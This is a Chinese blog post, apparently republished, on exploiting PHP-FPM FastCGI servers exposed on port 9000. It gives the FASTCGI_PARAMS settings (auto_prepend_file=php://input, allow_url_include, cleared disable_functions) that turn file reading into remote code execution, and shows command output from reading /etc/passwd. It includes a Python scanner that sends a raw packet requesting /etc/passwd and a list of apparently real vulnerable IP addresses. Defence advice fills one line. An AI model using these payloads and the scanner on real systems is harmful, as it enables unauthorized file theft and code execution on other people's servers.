FastCGI 文件读取与代码执行漏洞分析及 Python 扫描脚本

雨后青山
雨后青山
发布时间:2026-10-13| 2人浏览过
原创

本文深入解析 FastCGI 协议在 PHP-FPM 中的远程利用漏洞,阐述如何通过伪造请求参数读取服务器文件及执行任意代码。文章提供了基于 Python 的 FastCGI 端口扫描脚本,用于快速发现内网中暴露 9000 端口的脆弱目标,并讨论了 PHP 5.3.3 版本前后配置差异对漏洞利用的影响及防御建议。

FastCGI 文件读取漏洞之 Python 扫描脚本

FastCGI 是当前 Web 服务器中动态脚本执行的主流模型之一。目前绝大多数 Web 脚本语言均支持该模式,部分语言如 Ruby on Rails 或 Python 甚至仅支持此模式。

FastCGI 的核心设计在于将 Web 服务器与动态语言执行引擎分离为两个独立的常驻进程。当 Web 服务器接收到动态脚本请求时,通过 FastCGI 协议将请求通过网络转发给 FastCGI 进程,处理完成后将结果返回给 Web 服务器,再由其输出至浏览器。该模型避免了每次请求重启 CGI 进程或嵌入脚本解析器到 Web 服务器中的开销,因此具备极强的可扩展性。当动态脚本请求量激增时,可将后端 FastCGI 进程单独组建集群提供服务,显著提升可维护性,这也是 FastCGI 等类似模式广泛流行的原因之一。

然而,这种架构也引入了潜在风险。例如,去年 80sec 发布的《Nginx 文件解析漏洞》便是由于 FastCGI 与 Web 服务器对脚本路径及参数理解不一致所导致。此外,由于 FastCGI 与 Web 服务器通过网络通信,越来越多的集群将 FastCGI 直接绑定在公网 IP 上,允许外部访问。这意味着攻击者可以伪装成 Web 服务器,诱导 FastCGI 进程执行任意脚本内容。

上述为背景原理说明,此处以作者熟悉的 PHP 为例进行演示。

PHP 的 FastCGI 实现通常称为 PHP-FPM,其默认监听端口为 9000。我们可以使用 Nmap 进行扫描:

nmap -sV -p 9000 --open x.x.x.x/24

使用 -sV 参数是因为 9000 端口可能被其他服务占用,需借助 Nmap 的指纹识别功能进行初步鉴定。

[root@test:~/work/fcgi]#nmap -sV -p 9000 --open 173.xxx.xxx.1/24

Starting Nmap 6.01 ( http://nmap.org ) at 2012-09-14 20:06 EDT Nmap scan report for abc.net (173.xxx.xxx.111) Host is up (0.0095s latency). PORT STATE SERVICE VERSION 9000/tcp open ssh OpenSSH 5.3p1 Debian 3ubuntu7 (protocol 2.0) Service Info: OS: Linux; CPE: cpe:/o:linux:kernel

Nmap scan report for abc.com (173.xxx.xxx.183) Host is up (0.0096s latency). PORT STATE SERVICE VERSION 9000/tcp open tcpwrapped

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 256 IP addresses (198 hosts up) scanned in 7.70 seconds

随机扫描结果显示,一个 C 段中有两个开放 9000 端口的目标,其中一个是管理员修改过的 SSHD 服务,另一个标记为 tcpwrapped 的才是我们的目标。

为了进行测试,我编写了一个 FastCGI 客户端程序,直接向目标发起请求。利用开放的 FastCGI 能做什么?与普通 HTTP 请求不同,Web 服务器在转发请求时,会通过 FASTCGI_PARAMS 包向 FastCGI 进程传递参数。这些参数原本由用户不可控,但既然 FastCGI 对外开放,我们就可以通过设定这些参数来执行原本无法实现的操作:

[root@test:~/work/fcgi]#./fcgi_exp read 173.xxx.xxx.183 9000 /etc/issue

X-Powered-By: PHP/5.3.2-1ubuntu4.9 Content-type: text/html www.jb51.net

Ubuntu 10.04.3 LTS \n \l

成功读取到 /etc/issue 文件,显示这是一台 Ubuntu 10.04 的机器。其实现原理是:只要在 FASTCGI_PARAMS 中将 DOCUMENT_ROOT 设置为根目录“/”,并将 SCRIPT_FILENAME 设置为 /etc/issue,即可利用 PHP 执行该文件(而非直接读取)。只要拥有相应权限,攻击者即可控制 FastCGI 读取服务器上的任意文件。

既然是执行,该漏洞类似于本地文件包含(LFI)漏洞。如果知道服务器日志路径或任何可控制内容的文件路径,即可执行任意代码。

这是否意味着漏洞利用到此为止?并非如此。通过猜测日志或其他文件路径来执行代码并不便捷,是否存在更直接的方式执行任意提交代码?

我曾尝试传递 env 参数并执行 /proc/self/environ 文件,但 PHP-FPM 接收到参数后仅在内存中修改环境变量,并不直接修改该文件,因此无法利用。此外,该方法并非所有系统通用。

另一种方法是参考我之前编写的《CVE-2012-1823(PHP-CGI RCE)的 PoC 及技术挑战》,通过动态修改 php.ini 中的 auto_prepend_file 值来远程执行任意文件。这将 LFI 漏洞转化为远程文件包含(RFI),大大增加了可利用空间。

FastCGI 是否支持类似的动态修改 PHP 配置?查阅资料发现,原本 FPM 不支持此功能,直到某开发者提交了一个 bug,PHP 官方才将此特性合并到 PHP 5.3.3 的源码中。

通过设置 FASTCGI_PARAMS,我们可以利用 PHP_ADMIN_VALUE 和 PHP_VALUE 动态修改 PHP 设置。

env["REQUEST_METHOD"] = "POST" env["PHP_VALUE"] = "auto_prepend_file = php://input" env["PHP_ADMIN_VALUE"] = "allow_url_include = On\ndisable_functions = \nsafe_mode = Off"

利用 php://input 执行,并在 POST 内容中写入 PHP 代码,即可直接执行。

[root@test:~/work/fcgi]#./fcgi_exp system 127.0.0.1 9000 /tmp/a.php "id; uname -a"

X-Powered-By: PHP/5.5.0-dev Content-type: text/html

uid=500(www) gid=500(www) groups=500(www) Linux test 2.6.18-308.13.1.el5 #1 SMP Tue Aug 21 17:51:21 EDT 2012 x86_64 x86_64 x86_64 GNU/Linux

注意此处测试环境变更,我换用了本机测试。因为最初发现的机器 PHP 版本为 5.3.2,低于 5.3.3,无法利用修改 ini 设置执行代码,只能猜测路径。

另一个变化是读取 /tmp/a.php 而非 /etc/issue。因为在 PHP 5.3.9 之后,官方引入了“security.limit_extensions”配置,默认仅允许执行扩展名为“.php”的文件。因此必须找到已存在的 PHP 文件。该设置位于 php-fpm.conf 中,无法通过修改 ini 配置覆盖。如有更好的绕过方法,欢迎提供。

目前对 PHP-FPM 的所有测试已结束。利用对外开放的 FastCGI 进程,我们已可直接获取 Shell。各位不妨研究其他 FastCGI 实现,或许会有更多发现。

如何防止此漏洞?很简单,切勿将 FastCGI 接口暴露于公网。同时也希望未来 FastCGI 能引入身份认证机制。

在任何系统上编译,请安装 Golang 后执行: go build fcgi_exp.go

FastCGI 文件读取漏洞 Python 扫描脚本

FastCGI 文件读取(代码执行)是一个较老的漏洞,描述为:PHP FastCGI 的远程利用。

利用该漏洞可读取系统文件,甚至有一定几率成功执行代码。下载上述文章中提到的:fcgi_exp。

协议细节已非关注重点,只需一个 Python 扫描脚本。于是使用 Wireshark 抓取 GaRY 的程序数据,编写了一段代码。

外网暴露 9000 端口的机器非常少,但内网情况则不确定。

import socket
import sys

def test_fastcgi(ip):
  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM); sock.settimeout(5.0)
  sock.connect((ip, 9000))
  data = """
  01 01 00 01 00 08 00 00 00 01 00 00 00 00 00 00
  01 04 00 01 00 8f 01 00 0e 03 52 45 51 55 45 53 
  54 5f 4d 45 54 48 4f 44 47 45 54 0f 08 53 45 52 
  56 45 52 5f 50 52 4f 54 4f 43 4f 4c 48 54 54 50 
  2f 31 2e 31 0d 01 44 4f 43 55 4d 45 4e 54 5f 52
  4f 4f 54 2f 0b 09 52 45 4d 4f 54 45 5f 41 44 44
  52 31 32 37 2e 30 2e 30 2e 31 0f 0b 53 43 52 49 
  50 54 5f 46 49 4c 45 4e 41 4d 45 2f 65 74 63 2f 
  70 61 73 73 77 64 0f 10 53 45 52 56 45 52 5f 53
  4f 46 54 57 41 52 45 67 6f 20 2f 20 66 63 67 69
  63 6c 69 65 6e 74 20 00 01 04 00 01 00 00 00 00
  """
  data_s = ''
  for _ in data.split():
    data_s += chr(int(_,16))
  sock.send(data_s)
  try:
    ret = sock.recv(1024)
    if ret.find(':root:') > 0:
      print ret
      print '%s is vulnerable!' % ip
      return True
    else:
      return False
  except Exception, e:
    pass
      
  sock.close()


if __name__ == '__main__':
  if len(sys.argv) == 1:
    print sys.argv[0], '[ip]'
  else:
    test_fastcgi(sys.argv[1])

通过快速扫描 9000 端口,可以发现几个存在漏洞的机器:

110.164.68.137 is vul !
110.164.68.148 is vul !
110.164.68.149 is vul !
110.164.68.151 is vul !
110.164.68.154 is vul !
110.164.68.155 is vul !

fcgi_exp.exe read 110.164.68.137 9000 /etc/passwd

相关标签:

免责声明:本文内容仅供参考,不代表本站观点。转载或引用请注明出处。

Python 相关产品和应用

全部下载
Selenium

Selenium

4.51.0 · Windows

用于浏览器自动化和 Web 测试的 Python 工具。

scikit-learn

scikit-learn

1.9.1 · Windows

常用 Python 机器学习算法与模型评估工具库。

Black

Black

26.10.1 · Windows

强调一致性的 Python 自动代码格式化工具。

Ruff

Ruff

0.17.1 · macOS

由 Rust 编写的高速 Python 代码检查和格式化工具。

pytest

pytest

9.1.1 · Windows

简洁而强大的 Python 自动化测试框架。

FastAPI

FastAPI

0.146.0 · Windows

高性能 Python API 框架,支持类型提示和自动接口文档。

Flask

Flask

3.1.3 · Windows

轻量灵活的 Python Web 应用框架。

Django

Django

6.1.2 · Windows

成熟的 Python Web 框架,适合构建内容站点和业务系统。

Spyder

Spyder

6.1.7 · Windows

面向科学计算与数据分析的 Python 集成开发环境。

SciPy

SciPy

1.18.1 · Windows

面向科学、工程和技术计算的 Python 算法库。